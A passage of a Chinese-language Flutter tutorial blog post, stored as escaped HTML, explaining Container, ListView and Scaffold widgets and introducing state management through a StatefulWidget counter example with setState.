class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eTagsBoxes 需要在 Container 讲明白了之后才能说明。\u003c/p\u003e\n\u003ch3 id=\"container\"\u003eContainer\u003c/h3\u003e\n\u003cp\u003eContainer是一个拥有绘制、定位、调整大小的 widget,是开发中最常用、最基础的组件。顾名思义,他能包装很多的组件。地位类似于 HTML 的 div。\u003c/p\u003e\n\u003cp\u003e上面的组件,如果我要成为一个个卡片,我得用这个包装:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eContainer\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echild:\u003c/span\u003e \u003cspan class=\"n\"\u003eWrap\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"cm\"\u003e/* 上面展示的东西 */\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e对于 Container,我们需要引入一些对于有些人很熟悉的东西,也就是说,Margin 和 Padding,外边距和内边距。对于 Container 而言,内边距用到的最多。我们还可以设置这玩意的边框,圆角,背景颜色之类。扩展完相当于这样:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eContainer\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003epadding:\u003c/span\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eEdgeInsets\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eall\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"m\"\u003e15\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003edecoration:\u003c/span\u003e \u003cspan class=\"n\"\u003eBoxDecoration\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eborderRadious:\u003c/span\u003e \u003cspan class=\"n\"\u003eBorderRadius\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eall\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eRadius\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecircular\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"m\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e)),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ecolor:\u003c/span\u003e \u003cspan class=\"n\"\u003eColor\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epurple\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echild:\u003c/span\u003e \u003cspan class=\"n\"\u003eWrap\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"cm\"\u003e/* 上面展示的东西 */\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e类似于这个:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-html\" data-lang=\"html\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003ediv\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"na\"\u003estyle\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;background-color:purple;border-radius:10%;padding:15px\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003exxx\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003ediv\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e实际上 Container 是很多部件的最终实现方式,比如 Card,他就说按照设计规范,设计好背景颜色,边框圆角,背景颜色之类。除此之外,还有强制设定长宽的 SizedBox,强制设定装饰的 DecortatedBox 等,都可以算 Container 的扩展。实际代码中,我直接把上面提到的 Warp 套进 Card 了。\u003c/p\u003e\n\u003cp\u003e最终,我说明一下上面说到的 TagBoxes。代码是这样的:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eContainer\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003epadding:\u003c/span\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eEdgeInsets\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efromLTRB\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"m\"\u003e5\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"m\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"m\"\u003e5\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"m\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003edecoration:\u003c/span\u003e \u003cspan class=\"n\"\u003eBoxDecoration\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ecolor:\u003c/span\u003e \u003cspan class=\"n\"\u003ebackgroundColor\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eborderRadius:\u003c/span\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eBorderRadius\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eall\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eRadius\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecircular\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"m\"\u003e9\u003c/span\u003e\u003cspan class=\"p\"\u003e)),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echild:\u003c/span\u003e \u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003etext\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003estyle:\u003c/span\u003e \u003cspan class=\"n\"\u003eTextStyle\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003ecolor:\u003c/span\u003e \u003cspan class=\"n\"\u003etextColor\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003etextScaleFactor:\u003c/span\u003e \u003cspan class=\"m\"\u003e0.9\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"listview\"\u003eListView\u003c/h3\u003e\n\u003cp\u003e卡片介绍就这样了,在实际情况下,我们会有超级多的记录。根据思维惯性,我们会想让其做成一个可以滚动的菜单。不过不能用 Column,因为单纯的 Column 缺少滚动侦测器,也就是说,我们缺少一个侦测目前该滚动菜单滚动位置的侦测器。所以,我们需要使用 ListView 部件,他默认有一个滚动侦测器。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eListView\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echildren:\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eCard\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003exxx\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e......\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e滚动侦测器涉及到接下来要说的状态管理。\u003c/p\u003e\n\u003ch3 id=\"scafford\"\u003eScafford\u003c/h3\u003e\n\u003cp\u003eMaterial 设计的页面部件框架,包括但不限于:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eappBar:上面的导航栏(可以设置标题和右面的小按钮,称为 action)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003etabBar:一个框架的分页,分页内容另有设置\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003ebody:页面的主要部分,对于截图是打卡记录\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003ebottomNavigationBar:底部的导航栏,对于截图是展示次数以及转换\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"flutter-内部的状态管理\"\u003eFlutter 内部的状态管理\u003c/h2\u003e\n\u003ch3 id=\"声明式编程\"\u003e声明式编程\u003c/h3\u003e\n\u003cp\u003e我先念一段上网找到的定义:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e命令式编程就像它的名字一样,它由开发者我们一步一步的告述计算机,执行一系列的操作,然后得到想要的结果,起主要作用的是开发者,计算机只是帮助开发者执行计算而已。我们日常使用的大多数语言都属于命令式。\u003c/p\u003e\n\u003cp\u003e而声明式编程却与此相反,它不是告述计算机做什么做,而是直接告述计算它想要的结果,至于怎么做,由预先写好的程序依据一定的算法由计算机自动推算出来。这类定义比如 SQL,Vue 的响应式组件。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e官方给了个这个公式:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eUI = f(state)\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eFlutter 部件的构造过程,如这个公式所见,是这样的:\u003c/p\u003e\n\u003cp\u003e我们有一个UI,或者说部件,的构造函数,里面写好了这个部件需要接收,或者监听的状态。我们通过创建,修改这个状态,让程序组建/更新我们的部件。这个状态就是我们希望的结果。这说起来十分拗口,我们上两个例子。\u003c/p\u003e\n\u003ch3 id=\"statefulwidget-内部管理和-setstate\"\u003eStatefulWidget 内部管理和 setstate\u003c/h3\u003e\n\u003cp\u003e之前我们提到的部件,都是 Stateless 部件,也就是说,这个部件的状态不会变,在我们一开始渲染的时候,就写死了。\u003c/p\u003e\n\u003cp\u003e但是,状态有时候是需要更新的。比如说,最开始那个计数器应用,我们需要记下来目前数字是多少,并且我们需要能响应添加和减少。鉴于这个,我们需要引入 StatefulWidget 来实现这个。\u003c/p\u003e\n\u003cp\u003eStatefulWidget 依靠 setState 来刷新部件,我们看一下计数器代码。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eimport\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;package:flutter/material.dart\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 所有应用的入口\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"n\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003erunApp\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eMyApp\u003c/span\u003e\u003cspan class=\"p\"\u003e());\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 这些都是定义框架的\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kd\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003eMyApp\u003c/span\u003e \u003cspan class=\"kd\"\u003eextends\u003c/span\u003e \u003cspan class=\"n\"\u003eStatelessWidget\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eMyApp\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\u003cspan class=\"k\"\u003esuper\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ekey\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"err\"\u003e@\u003c/span\u003e\u003cspan class=\"n\"\u003eoverride\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eWidget\u003c/span\u003e \u003cspan class=\"n\"\u003ebuild\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eBuildContext\u003c/span\u003e \u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003eMaterialApp\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003etitle:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;Flutter Demo\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003etheme:\u003c/span\u003e \u003cspan class=\"n\"\u003eThemeData\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eprimarySwatch:\u003c/span\u003e \u003cspan class=\"n\"\u003eColors\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eblue\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ehome:\u003c/span\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eMyHomePage\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003etitle:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;Flutter Demo Home Page\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// StatefulWidget 可以通过输入 stful 来快速生成\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// StatelessWidget 通过输入 stless 来生成\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kd\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003eMyHomePage\u003c/span\u003e \u003cspan class=\"kd\"\u003eextends\u003c/span\u003e \u003cspan class=\"n\"\u003eStatefulWidget\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eMyHomePage\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\u003cspan class=\"k\"\u003esuper\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ekey\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kd\"\u003erequired\u003c/span\u003e \u003cspan class=\"k\"\u003ethis\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etitle\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 所有在 Widget 里面的东西都是 final\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kd\"\u003efinal\u003c/span\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003etitle\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 状态在此生成\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"err\"\u003e@\u003c/span\u003e\u003cspan class=\"n\"\u003eoverride\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eState\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eMyHomePage\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003ecreateState\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003e_MyHomePageState\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003e_MyHomePageState\u003c/span\u003e \u003cspan class=\"kd\"\u003eextends\u003c/span\u003e \u003cspan class=\"n\"\u003eState\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eMyHomePage\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003e_counter\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 注意里面的 setState,他是用来更新部件状态的\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 里面的函数就是状态是如何被更新的了\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"n\"\u003e_incrementCounter\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003esetState\u003c/span\u003e\u003cspan class=\"p\"\u003e(()\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003e_counter\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan 